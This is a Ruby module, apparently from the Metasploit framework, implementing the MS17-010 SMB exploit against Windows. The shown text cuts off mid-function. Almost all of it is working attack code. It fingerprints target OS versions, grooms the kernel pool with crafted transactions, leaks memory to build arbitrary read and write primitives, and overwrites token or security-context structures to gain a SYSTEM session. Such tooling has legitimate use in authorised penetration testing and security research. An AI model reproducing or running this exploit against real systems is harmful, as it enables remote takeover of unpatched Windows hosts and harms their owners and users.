module Msf
module Exploit::Remote::SMB::Client::Psexec_MS17_010

  include Msf::Exploit::Remote::SMB::Client::Psexec
  include Msf::Exploit::Remote::SMB::Client::PipeAuditor
  include Msf::Exploit::Remote::Tcp

  CONST = Rex::Proto::SMB::Constants

  def initialize(info = {})
    super
    register_options([
      OptString.new('NAMEDPIPE', [false, 'A named pipe that can be connected to (leave blank for auto)', '']),
      OptInt.new('LEAKATTEMPTS', [true, 'How many times to try to leak transaction', 99]), # Win10 can get stubborn
      OptString.new('RPORT', [true, 'The Target port', 445]),
      OptBool.new('DBGTRACE', [ true, "Show extra debug trace info", false ]),
    ])
  end

  # used to abruptly abort exploit for a given host with error msg
  class MS17_010_Error < StandardError
  end

  def eternal_pwn(ip)
    @ctx = {}
    @ctx['rekt'] = false  # set if we need to clean up the token
    @ctx['ip'] = ip

    connect()

    self.simple.client.default_max_buffer_size = 4356   # this took way too damn long to debug
    self.simple.client.socket.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_KEEPALIVE, 1)
    self.simple.client.socket.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)

    smb_login()

    fingerprint_os(simple.client.peer_native_os)

    pipe_handle = find_accessible_named_pipe()

    if @ctx['go_fish']
      exploit_fish_barrel(pipe_handle)
    else
      exploit_matched_pairs(pipe_handle)
    end

    print_status("Built a write-what-where primitive...")

    fmt = @ctx['PTR_FMT']

    # IsNullSession = 0, IsAdmin = 1
    poffset = @ctx['session'] + @ctx['SESSION_ISNULL_OFFSET']
    write_what_where("\x00\x01", poffset)

    vprint_status("Overwrote IsNullSession = 0, IsAdmin = 1 at 0x#{poffset.to_s(16)}")

    modify_token()

    @ctx['rekt'] = true  # set if we need to clean up the token

    print_good("Overwrite complete... SYSTEM session obtained!")
  end

  def eternal_cleanup()
    begin
      if @ctx['rekt']
        if @ctx.key? 'PCTXTHANDLE_TOKEN_OFFSET'
          userAndGroupsOffset = @ctx['userAndGroupsAddr'] - @ctx['tokenAddr']
          # -1
          write_what_where(@ctx['tokenData'][userAndGroupsOffset..userAndGroupsOffset+@ctx['fakeUserAndGroups'].length-1], @ctx['userAndGroupsAddr'])
          if @ctx['fakeUserAndGroupCount'] != @ctx['userAndGroupCount']
            write_what_where([@ctx['userAndGroupCount']].pack("V"), @ctx['tokenAddr']+@ctx['TOKEN_USER_GROUP_CNT_OFFSET'])
          end
        else
          write_what_where(@ctx['secCtxData'], @ctx['secCtxAddr'])
        end
        vprint_good("SYSTEM session cleaned up.")
      end

      disconnect   # also disconnect trees and logoff??
    rescue ::Rex::Proto::SMB::Exceptions::NoReply => e
      # pass
      # it's fine.
    rescue => error
      vprint_error(error.class.to_s)
      vprint_error(error.message)
      vprint_error(error.backtrace.join("\n"))
    end
  end

  def modify_token()
    fmt = @ctx['PTR_FMT']
    # read session struct to get SecurityContext address
    sessionData = read_data(@ctx['session'], 0x100)

    secCtxAddr = sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1].unpack(@ctx['PTR_FMT'])[0]

    if datastore['DBGTRACE']
      print_status("Session Data: #{bin_to_hex(sessionData)}")
      print_status("session dat len = #{sessionData.length}")
      print_status("Session ctx offset = #{@ctx['SESSION_SECCTX_OFFSET'].to_s(16)}")
      print_status("Session ctx data = #{bin_to_hex(sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1])}")
      print_status("secCtxAddr: #{secCtxAddr.to_s(16)}")
    end

    if @ctx.key? 'PCTXTHANDLE_TOKEN_OFFSET'
      # Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
      # Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
      # much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.

      # find the token and modify it
      if @ctx.key? 'SECCTX_PCTXTHANDLE_OFFSET'
        pctxtDataInfo = read_data(secCtxAddr+@ctx['SECCTX_PCTXTHANDLE_OFFSET'], 8)
        pctxtDataAddr = pctxtDataInfo.unpack(fmt)[0] #unpack_from(fmt, pctxtDataInfo)[0]
      else
        pctxtDataAddr = secCtxAddr
      end

      tokenAddrInfo = read_data(pctxtDataAddr+@ctx['PCTXTHANDLE_TOKEN_OFFSET'], 8)
      tokenAddr = tokenAddrInfo.unpack(fmt)[0] #unpack_from('<'+fmt, tokenAddrInfo)[0]
      vprint_status("Found TOKEN addr: 0x#{tokenAddr}")

      tokenData = read_data(tokenAddr, 0x40*@ctx['PTR_SIZE'])
      @ctx['tokenData'] = tokenData
      @ctx['tokenAddr'] = tokenAddr

      if datastore['DBGTRACE']
        print_status("TOKEN data = #{bin_to_hex(tokenData)}")
      end

      userAndGroupsAddr, userAndGroupCount = get_group_data_from_token(tokenData)

      vprint_status("Overwriting _TOKEN UserAndGroups (#{userAndGroupsAddr.to_s(16)})...")

      # modify UserAndGroups info
      fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr)
      if fakeUserAndGroupCount != userAndGroupCount
        #write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
        write_what_where([fakeUserAndGroupCount].pack("V"), tokenAddr+@ctx['TOKEN_USER_GROUP_CNT_OFFSET'])
      end
      #write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
      write_what_where(fakeUserAndGroups, userAndGroupsAddr)
      @ctx['userAndGroupsAddr'] = userAndGroupsAddr
      @ctx['fakeUserAndGroups'] = fakeUserAndGroups
      @ctx['fakeUserAndGroupCount'] = fakeUserAndGroupCount
      @ctx['userAndGroupCount'] = userAndGroupCount

    else
      # the target can use PsImperonateClient for impersonation (Windows 2008 and later)
      # copy SecurityContext for restoration
      if datastore['DBGTRACE']
        print_status("Reading secCtxData from #{secCtxAddr.to_s(16)}")
      end
      secCtxData = read_data(secCtxAddr, @ctx['SECCTX_SIZE'])
      if datastore['DBGTRACE']
        print_status("Read data from secCtx: #{bin_to_hex(secCtxData)}")
      end

      @ctx['secCtxData'] = secCtxData
      @ctx['secCtxAddr'] = secCtxAddr

      # see FAKE_SECCTX detail at top of the file
      write_what_where(@ctx['FAKE_SECCTX'], secCtxAddr)

      vprint_status("Overwrote token SID security context with fake context")
    end

  end

  def validate_token_offset(tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
    # struct _TOKEN:
    #  ...
    #  ULONG UserAndGroupCount;                            // Ro: 4-Bytes
    #  ULONG RestrictedSidCount;                           // Ro: 4-Bytes
    #   ...
    #  PSID_AND_ATTRIBUTES UserAndGroups;                  // Wr: sizeof(void*)
    #  PSID_AND_ATTRIBUTES RestrictedSids;                 // Ro: sizeof(void*)
    #  ...

    userAndGroupCount, restrictedSidCount = tokenData[userAndGroupCountOffset..-1].unpack('VV')
    userAndGroupsAddr, restrictedSids = tokenData[userAndGroupsAddrOffset..-1].unpack(@ctx['PTR_FMT']*2)

    if datastore['DBGTRACE']
      print_status("userAndGroupCount: 0x#{userAndGroupCount.to_s(16)}")
      print_status("userAndGroupsAddr: 0x#{userAndGroupsAddr.to_s(16)}")
      print_status("RestrictedSids: 0x#{restrictedSids.to_s(16)}")
      print_status("RestrictedSidCount: 0x#{restrictedSidCount.to_s(16)}")
    end

    # RestrictedSidCount   MUST be 0
    # RestrictedSids   MUST be NULL
    #
    # userandGroupCount   must NOT be 0
    # userandGroupsAddr   must NOT be NULL
    #
    # Could also add a failure point here if userAndGroupCount >= x

    success = true

    if restrictedSidCount != 0 or restrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0
      print_error('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
      success = false
    end

    return success, userAndGroupCount, userAndGroupsAddr
  end

  def get_group_data_from_token(tokenData)

    # try with default offsets
    success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(tokenData, @ctx['TOKEN_USER_GROUP_CNT_OFFSET'], @ctx['TOKEN_USER_GROUP_ADDR_OFFSET'])

    # hack to fix XP SP0 and SP1
    # I will avoid over-engineering a more elegant solution and leave this as a hack,
    # since XP SP0 and SP1 is the only edge case in a LOT of testing!
    if not success and @ctx['os'] == 'WINXP' and @ctx['arch'] == 'x86'
      print_status('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')

      # update with hack offsets
      @ctx['TOKEN_USER_GROUP_CNT_OFFSET'] = @ctx['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
      @ctx['TOKEN_USER_GROUP_ADDR_OFFSET'] = @ctx['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']

      # try again with hack offsets
      success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(tokenData, @ctx['TOKEN_USER_GROUP_CNT_OFFSET'], @ctx['TOKEN_USER_GROUP_ADDR_OFFSET'])
    end

    # still no good. Abort because something is wrong
    if not success
      raise MS17_010_Error, 'Bad TOKEN_USER_GROUP offsets. Abort > BSOD'
    end

    # token parsed and validated
    return userAndGroupsAddr, userAndGroupCount
  end

  def write_what_where(what, where)
    if where == 0
      raise MS17_010_Error, 'Attempted to write to a NULL pointer!'
    end

    # modify trans2.InData on trans1 mid
    pkt = create_nt_trans_secondary_packet(mid: @ctx['trans1_mid'],
                                          data: [where].pack(@ctx['PTR_FMT']),
                                          dataDisplacement: @ctx['TRANS_INDATA_OFFSET'])
    self.simple.client.smb_send(pkt.to_s)
    do_smb_echo()

    # write data on trans2 mid
    pkt = create_nt_trans_secondary_packet(mid: @ctx['trans2_mid'], data: what)
    self.simple.client.smb_send(pkt.to_s)
    do_smb_echo()
  end

  def read_data(read_addr, read_size)
    if read_addr == 0
      raise MS17_010_Error, 'Attempted to read from a NULL pointer!'
    end

    fmt = @ctx['PTR_FMT']
    # modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
    # modify trans2.*ParameterCount and trans2.*DataCount to limit data
    new_data = [@ctx['trans2_addr']+@ctx['TRANS_FLINK_OFFSET'], @ctx['trans2_addr']+0x200, read_addr].pack(fmt * 3) #pack('<'+fmt*3, )  # OutParameter, InData, OutData
    new_data << [0, 0].pack("VV") #pack('<II', 0, 0)  # SetupCount, MaxSetupCount
    new_data << [8, 8, 8].pack("VVV") #pack('<III', 8, 8, 8)  # ParamterCount, TotalParamterCount, MaxParameterCount
    new_data << [read_size, read_size, read_size].pack("VVV") #pack('<III', read_size, read_size, read_size)  # DataCount, TotalDataCount, MaxDataCount
    new_data << [0, 5].pack("vv") #pack('<HH', 0, 5)  # Category, Function (NT_RENAME)
    pkt = create_nt_trans_secondary_packet(mid: @ctx['trans1_mid'], data: new_data, dataDisplacement: @ctx['TRANS_OUTPARAM_OFFSET'])
    self.simple.client.smb_send(pkt.to_s)

    # create one more transaction before leaking data
    # - next transaction can be used for arbitrary read/write after the current trans2 is done
    # - next transaction address is from TransactionListEntry.Flink value
    pkt = create_nt_trans_packet(5, param: [@ctx['fid']].pack("V"), totalDataCount: 0x4300-0x20, totalParameterCount: 0x1000)
    self.simple.client.smb_send(pkt.to_s)

    # finish the trans2 to leak
    pkt = create_nt_trans_secondary_packet(mid: @ctx['trans2_mid'])
    self.simple.client.smb_send(pkt.to_s)
    read_data = recv_transaction_data(@ctx['trans2_mid'], 8 + read_size)

    # set new trans2 address
    #@ctx['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - @ctx['TRANS_FLINK_OFFSET']
    @ctx['trans2_addr'] = read_data.unpack(fmt)[0] - @ctx['TRANS_FLINK_OFFSET']

    # set trans1.InData to &trans2
    # pack('<'+fmt, @ctx['trans2_addr'])
    pkt = create_nt_trans_secondary_packet(mid: @ctx['trans1_mid'], param: [@ctx['trans2_addr']].pack(fmt), paramDisplacement: @ctx['TRANS_INDATA_OFFSET'])
    self.simple.client.smb_send(pkt.to_s)
    do_smb_echo()

    # modify trans2 mid
    #pack('<H', @ctx['trans2_mid'])
    pkt = create_nt_trans_secondary_packet(mid: @ctx['trans1_mid'], data: [@ctx['trans2_mid']].pack("v"), dataDisplacement: @ctx['TRANS_MID_OFFSET'])
    self.simple.client.smb_send(pkt.to_s)
    do_smb_echo()

    return read_data[8..-1]  # no need to return parameter
  end

  def fingerprint_os(os)
    print_status("Target OS: #{os}")

    if os.starts_with? 'Windows 10' or os.starts_with? 'Windows Server 2016' or os.starts_with? 'Windows 8' or os.starts_with? 'Windows Server 2012' or os.starts_with? 'Windows RT 9200'
      @ctx['os'] = 'WIN8'
      @ctx['go_fish'] = false
    elsif os.starts_with? 'Windows 7 ' or os.starts_with? 'Windows Server 2008 R2' or os.starts_with? 'Windows Embedded Standard 7'
      @ctx['os'] = 'WIN7'
      @ctx['go_fish'] = false
    elsif os.starts_with? "Windows Server (R) 2008" or os.starts_with? 'Windows Vista'
      @ctx['os'] = 'WIN7'
      @ctx['go_fish'] = true
    elsif os.starts_with? "Windows Server 2003 "
      @ctx['os'] = 'WIN2K3'
      @ctx['go_fish'] = true
    elsif os.starts_with? "Windows 5.1"
      @ctx['os'] = 'WINXP'
      @ctx['arch'] = 'x86'
      @ctx['go_fish'] = true
      pick_ctx()
    elsif os.starts_with? "Windows XP "
      @ctx['os'] = 'WINXP'
      @ctx['arch'] = 'x64'
      @ctx['go_fish'] = true
      pick_ctx()
    elsif os.starts_with? "Windows 5.0"
      @ctx['os'] = 'WIN2K'
      @ctx['arch'] = 'x86'
      @ctx['go_fish'] = true
      pick_ctx()
    else
      raise MS17_010_Error, 'Exploit unavailable for target OS.'
    end
  end

  def find_accessible_named_pipe
    @ctx['pipe_name'], pipe_handle = check_named_pipes(
      check_first:  datastore['NAMEDPIPE'],
      return_first: true
    )

    if @ctx['pipe_name'] && pipe_handle
      pipe_handle
    else
      raise MS17_010_Error, 'Unable to find accessible named pipe!'
    end
  end

  # todo: spice it up with EternalSynergy output
  def exploit_matched_pairs(pipe_handle)
    begin
      leak_frag_size(pipe_handle.file_id)
    rescue TypeError => e
      raise MS17_010_Error, 'TypeError leaking initial Frag size, is the target patched?'
    end

    # we have all info for offsets now
    #@ctx = @ctx.merge(OS_ARCH_INFO[@ctx['os']][@ctx['arch']])
    pick_ctx()

    # groom: srv buffer header
    @ctx['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + @ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN'], @ctx['POOL_ALIGN'])

    # groom paramters and data is alignment by 8 because it is NT_TRANS
    @ctx['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - @ctx['TRANS_SIZE']  # alignment (4)

    # bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
    bridePoolSize = 0x1000 - (@ctx['GROOM_POOL_SIZE'] & 0xfff) - @ctx['FRAG_POOL_SIZE']
    @ctx['BRIDE_TRANS_SIZE'] = bridePoolSize - (@ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN'])

    if datastore['DBGTRACE']
      print_status("GROOM_POOL_SIZE: 0x#{@ctx['GROOM_POOL_SIZE'].to_s(16)}")
      print_status("BRIDE_TRANS_SIZE: 0x#{@ctx['BRIDE_TRANS_SIZE'].to_s(16)}")
    end

    # bride paramters and data is alignment by 4 because it is TRANS
    @ctx['BRIDE_DATA_SIZE'] = @ctx['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - @ctx['TRANS_SIZE']

    # ================================
    # try align pagedpool and leak info until satisfy
    # ================================
    for i in 0..datastore['LEAKATTEMPTS']
      reset_extra_multiplex_id()

      vprint_status("Attempting leak ##{i.to_s}")

      leakInfo = align_transaction_and_leak(pipe_handle)

      if leakInfo != nil
        break
      end

      vprint_status("Align transaction and leak failed, attempt ##{i.to_s}")

      # we don't need to do any cleanup in this case
      if i == datastore['LEAKATTEMPTS'] - 1
        raise MS17_010_Error, "Abort after using up all LEAKATTEMPTS."
      end

      # close pipe, disconnect IPC$
      pipe_handle.close()
      self.simple.client.tree_disconnect()

      # connect IPC$, open pipe
      self.simple.client.tree_connect("\\\\#{@ctx['ip']}\\IPC$")
      pipe_handle = self.simple.create_pipe(@ctx['pipe_name'], 'o')
    end

    @ctx['fid'] = pipe_handle.file_id
    @ctx['pipe_handle'] = pipe_handle
    @ctx = @ctx.merge(leakInfo)

    vprint_status("Leaked connection struct (0x#{@ctx['connection'].to_s(16)}), performing WriteAndX type confusion")

    # ================================
    # shift transGroom.Indata ptr with SmbWriteAndX
    # ================================
    shift_indata_byte = 0x200
    do_write_andx_raw_pipe(fid:pipe_handle.file_id, data:  Rex::Text.rand_text_alpha(shift_indata_byte))#'A'*shift_indata_byte)

    # Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
    #       So the below operation is still dangerous. Write only 1 byte with "\x00" might be safe even alignment is wrong.
    # maxParameterCount (0x1000), trans name (4), param (4)
    indata_value = @ctx['next_page_addr'] + @ctx['TRANS_SIZE'] + 8 + @ctx['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
    indata_next_trans_displacement = @ctx['trans2_addr'] - indata_value

    # if the overwritten is correct, a modified transaction mid should be special_mid now.
    # a new transaction with special_mid should be error.
    delta = indata_next_trans_displacement + @ctx['TRANS_MID_OFFSET']
    pkt = create_nt_trans_secondary_packet(mid: pipe_handle.file_id, data: "\x00",
                                          dataDisplacement: delta)

    self.simple.client.smb_send(pkt.to_s)

    # wait for completion
    do_smb_echo()

    pkt = create_nt_trans_packet(5, mid: @@special_mid, param: [pipe_handle.file_id].pack("V"), data: '')
    recvPkt = smb_send_recv_raw(pkt.to_s)

    errno = recvPkt['Payload']['SMB'].v['ErrorClass']
    if errno != 0x10002  # non-specific server error
      raise MS17_010_Error, "Unexpected return status during overwrite: 0x#{errno.to_s(16)}"
    end

    vprint_status("Control of groom transaction")

    fmt = @ctx['PTR_FMT']
    # use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
    pkt = create_nt_trans_secondary_packet(mid: pipe_handle.file_id, data: [@ctx['trans1_addr']].pack(fmt),
                                dataDisplacement: indata_next_trans_displacement + @ctx['TRANS_INDATA_OFFSET'])
    self.simple.client.smb_send(pkt.to_s)

    do_smb_echo()

    # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
    # - trans1.InData to &trans2. so we can modify trans2 with trans1 data
    pkt = create_nt_trans_secondary_packet(mid: @@special_mid,
                                    data: [@ctx['trans1_addr'], @ctx['trans1_addr']+0x200, @ctx['trans2_addr']].pack(fmt * 3),
                                    dataDisplacement: @ctx['TRANS_INPARAM_OFFSET'])
    self.simple.client.smb_send(pkt.to_s)

    do_smb_echo()

    # modify trans2.mid
    @ctx['trans2_mid'] = next_multiplex_id()
    pkt = create_nt_trans_secondary_packet(mid: @ctx['trans1_mid'],
                                          data: [@ctx['trans2_mid']].pack('v'),
                                          dataDisplacement: @ctx['TRANS_MID_OFFSET'])
    self.simple.client.smb_send(pkt.to_s)
  end

  # This will (just) leak info using the RCE from ETERNALCHAMPION
  # CVE-2017-0146  - Race condition with Transaction requests
  def align_transaction_and_leak(pipe_handle)
    op = ::Rex::Proto::SMB::Constants::NT_TRANSACT_RENAME
    trans_param = [pipe_handle.file_id].pack("V")

    # fill large pagedpool holes (maybe no need)
    for i in 0..3

        mid = next_multiplex_id()

        pkt = create_nt_trans_packet(op, param: trans_param, mid: mid,
                                      totalDataCount: 0x10d0,
                                      maxParameterCount: GROOM_TRANS_SIZE - 0x10d0)

        self.simple.client.smb_send(pkt.to_s)
    end

    mid_ntrename = next_multiplex_id()

    # 1st groom
    req1 = create_nt_trans_packet(op, param: trans_param, mid: mid_ntrename, data:  Rex::Text.rand_text_alpha(0x10d0), #'A'*0x10d0,
                                        maxParameterCount: @ctx['GROOM_DATA_SIZE']-0x10d0)

    req2 = create_nt_trans_secondary_packet(mid: mid_ntrename, data: Rex::Text.rand_text_alpha(276)) #'B'*276) # leak more 276 bytes

    # 2nd groom
    req3 = create_nt_trans_packet(op, param: trans_param, mid: pipe_handle.file_id,
                              totalDataCount: @ctx['GROOM_DATA_SIZE']-0x1000, maxParameterCount: 0x1000)

    reqs = ''
    for i in 0..11
      mid = next_extra_multiplex_id()
      req = create_trans_packet(mid: mid, param: trans_param, totalDataCount: @ctx['BRIDE_DATA_SIZE']-0x200,
                                      totalParameterCount: 0x200, maxDataCount: 0, maxParameterCount: 0)
      #reqs.push(req)
      reqs += req.to_s
    end

    self.simple.client.smb_send(req1.to_s[0..-9])
    self.simple.client.smb_send(req1.to_s[-8..-1] + req2.to_s + req3 .to_s + reqs)

    # expected transactions alignment ("Frag" pool is not shown)
    #
    #    |         5 * PAGE_SIZE         |   PAGE_SIZE    |         5 * PAGE_SIZE         |   PAGE_SIZE    |
    #    +-------------------------------+----------------+-------------------------------+----------------+
    #    |    GROOM mid=mid_ntrename        |  extra_mid1 |         GROOM mid=fid            |  extra_mid2 |
    #    +-------------------------------+----------------+-------------------------------+----------------+
    #
    # If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
    # From leaked transaction, we get
    # - leaked transaction address from InParameter or InData
    # - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
    # With these information, we can verify the transaction aligment from displacement.

    leakData = recv_transaction_data(mid_ntrename, 0x10d0 + 276)
    leakData = leakData[0x10d4..-1]  # skip parameters and its own input

    # make sure pool starts with Frag
    if !(leakData[@ctx['FRAG_TAG_OFFSET']..-1].starts_with? 'Frag')
      vprint_error("Frag pool tag not found at correct offset!")
      return nil
    end

    # ================================
    # verify leak data
    # ================================
    start = @ctx['FRAG_TAG_OFFSET'] - 4 + @ctx['FRAG_POOL_SIZE']
    leakData = leakData[start..-1]

    expected_size = [@ctx['BRIDE_TRANS_SIZE']].pack("v") #pack('<H', info['BRIDE_TRANS_SIZE'])
    leakTransOffset = @ctx['POOL_ALIGN'] + @ctx['SRV_BUFHDR_SIZE']

    if  leakData[0x4..0x8 - 1] != 'LStr' ||
        leakData[@ctx['POOL_ALIGN'] .. @ctx['POOL_ALIGN'] + 2 - 1] != expected_size ||
        leakData[leakTransOffset + 2 .. leakTransOffset + 4 - 1] != expected_size
      vprint_error("Transaction struct missing from leak data!")
      return nil
    end

    leakTrans = leakData[leakTransOffset..-1]

    ptrf = @ctx['PTR_FMT']
    _, connection_addr, session_addr, treeconnect_addr, flink_value = leakTrans[0x8..-1].unpack(ptrf * 5) #unpack_from('<'+ptrf*5, leakTrans, 8)
    inparam_value = leakTrans[@ctx['TRANS_INPARAM_OFFSET']..-1].unpack(ptrf)[0] #unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
    leak_mid = leakTrans[@ctx['TRANS_MID_OFFSET']..-1].unpack("v")[0] #unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]

    if datastore['DBGTRACE']
      print_status("CONNECTION: 0x#{connection_addr.to_s(16)}")
      print_status("SESSION: 0x#{session_addr.to_s(16)}")
      print_status("FLINK: 0x#{flink_value.to_s(16)}")
      print_status("InParam: 0x#{inparam_value.to_s(16)}")
      print_status("MID: 0x#{leak_mid.to_s(16)}")
    end

    next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
    if next_page_addr + @ctx['GROOM_POOL_SIZE'] + @ctx['FRAG_POOL_SIZE'] + @ctx['POOL_ALIGN'] + @ctx['SRV_BUFHDR_SIZE'] + @ctx['TRANS_FLINK_OFFSET'] != flink_value
      delta = flink_value - next_page_addr
      if datastore['DBGTRACE']
        print_error("Unexpected Flink alignment, delta: #{delta.to_s(16)}")
      end
      return nil
    end

    # trans1: leak transaction
    # trans2: next transaction
    return {
      'connection' => connection_addr,
      'session' => session_addr,
      'next_page_addr' => next_page_addr,
      'trans1_mid' => leak_mid,
      'trans1_addr' => inparam_value - @ctx['TRANS_SIZE'] - TRANS_NAME_LEN,
      'trans2_addr' => flink_value - @ctx['TRANS_FLINK_OFFSET'],
    }
  end

  def exploit_fish_barrel(pipe_handle)
    @ctx['fid'] = pipe_handle.file_id
    xTRANS_NAME_LEN = 4
    xHEAP_HDR_SIZE = 8  # heap chunk header size

    if @ctx['os'] == 'WIN7' and !(@ctx.key? 'arch')
      # leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
      begin
        leak_frag_size(pipe_handle.file_id)
      rescue Timeout::Error
        raise MS17_010_Error, 'Timeout::Error leaking initial Frag size, is the target patched?'
      end
    end

    attempt_list = []
    if @ctx.key? 'arch'
      # add os and arch specific exploit info
      pick_ctx()
      attempt_list.push(OS_ARCH_INFO[@ctx['os']][@ctx['arch']])
    else
      # do not know target architecture
      # this case is only for Windows 2003
      # try offset of 64 bit then 32 bit because no target architecture
      attempt_list.push(OS_ARCH_INFO[@ctx['os']]['x64'])
      attempt_list.push(OS_ARCH_INFO[@ctx['os']]['x86'])
    end

    # ================================
    # groom packets
    # ================================
    # sum of transaction name, parameters and data length is 0x1000
    # paramterCount = 0x100-TRANS_NAME_LEN
    trans_param = [@ctx['fid']].pack("V") #pack('<HH', info['fid'], 0)
    for i in 0..11
      mid =  if i == 8 then @ctx['fid'] else next_extra_multiplex_id() end

      pkt = create_trans_packet(mid: mid, param: trans_param, totalParameterCount:0x100-TRANS_NAME_LEN,
        totalDataCount: 0xec0, maxParameterCount: 0x40, maxDataCount: 0)
      smb_send_recv_raw(pkt.to_s)
    end

    print_status("Filling barrel with fish... done")
    print_status("<---------------- | Entering Danger Zone | ---------------->")
    print_status("\t[*] Preparing dynamite...")

    # expected transactions alignment
    #
    #    +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
    #    |  mid=mid1 |  mid=mid2 |             |  mid=mid8 |  mid=fid  |  mid=mid9 | mid=mid10 | mid=mid11 |
    #    +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
    #                                                         trans1       trans2
    # ================================
    # shift transaction Indata ptr with SmbWriteAndX
    # ================================
    shift_indata_byte = 0x200
    do_write_andx_raw_pipe(fid: pipe_handle.file_id, data:  Rex::Text.rand_text_alpha(shift_indata_byte)) #"A"*shift_indata_byte)

    success = false
    stick = 1
    for xinfo in attempt_list
      tinfo = {}
      tinfo = tinfo.merge(xinfo['CPUARCH'])
      tinfo = tinfo.merge(xinfo['OFFSETS'])
      tinfo = tinfo.merge(xinfo['SESSION'])

      vprint_status("Attempt controlling next transaction on #{tinfo['ARCH']}")
      xHEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+xHEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
      xNEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + xHEAP_CHUNK_PAD_SIZE + xHEAP_HDR_SIZE

      # Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
      pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: "\x00", dataDisplacement: xNEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
      self.simple.client.smb_send(pkt.to_s)
      do_smb_echo()

      # if the overwritten is correct, a modified transaction mid should be special_mid now.
      # a new transaction with special_mid should be error.
      pkt = create_nt_trans_packet(5, mid: @@special_mid, param: trans_param, data: '')
      recvPkt = smb_send_recv_raw(pkt.to_s)

      errno = recvPkt['Payload']['SMB'].v['ErrorClass']
      if errno == 0x10002  # non-specific server error
        success = true
        print_status("\t\t[*] Trying stick #{stick.to_s} (#{tinfo['ARCH']})...Boom!")

        if !(@ctx.key? 'arch')
          #vprint_status("Target arch detected as #{tinfo['ARCH']}")
          @ctx['arch'] = tinfo['ARCH']
          pick_ctx()
        end

        break
      end

      print_status("\t\tTrying stick #{stick.to_s} (#{tinfo['ARCH']})...Miss")
      stick += 1

      if errno != 0
        vprint_status("Unexpected return status: 0x{errno.to_s(16)}")
      end

    end

    if not success
      print_status("<---------------- | Leaving Danger Zone | ---------------->")
      raise MS17_010_Error, "Unable to control groom transaction"
    end

    # From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
    # transactions (do not know the address).
    # After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
    # To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
    # To be able to modify trans1 struct, we need to use trans2 param or data but write backward.
    # On 32 bit target, we can write to any address if parameter count is 0xffffffff.
    # On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
    #   are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
    #   we also modify HIDWORD of InParameter to 0xffffffff.

    pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: "\xff"*4, dataDisplacement: xNEXT_TRANS_OFFSET+@ctx['TRANS_TOTALPARAMCNT_OFFSET'])
    self.simple.client.smb_send(pkt.to_s)

    # on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
    if @ctx['arch'] == 'x64'
      pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: "\xff"*4, dataDisplacement: xNEXT_TRANS_OFFSET+@ctx['TRANS_INPARAM_OFFSET']+4)
      self.simple.client.smb_send(pkt.to_s)
    end
    do_smb_echo()

    xTRANS_CHUNK_SIZE = xHEAP_HDR_SIZE + @ctx['TRANS_SIZE'] + 0x1000 + xHEAP_CHUNK_PAD_SIZE
    xPREV_TRANS_DISPLACEMENT = xTRANS_CHUNK_SIZE + @ctx['TRANS_SIZE'] + xTRANS_NAME_LEN
    xPREV_TRANS_OFFSET = 0x100000000 - xPREV_TRANS_DISPLACEMENT

    # modify paramterCount of first transaction
    pkt = create_nt_trans_secondary_packet(mid: @@special_mid, param: "\xff"*4, paramDisplacement: xPREV_TRANS_OFFSET+@ctx['TRANS_TOTALPARAMCNT_OFFSET'])
    self.simple.client.smb_send(pkt.to_s)

    if @ctx['arch'] == 'x64'
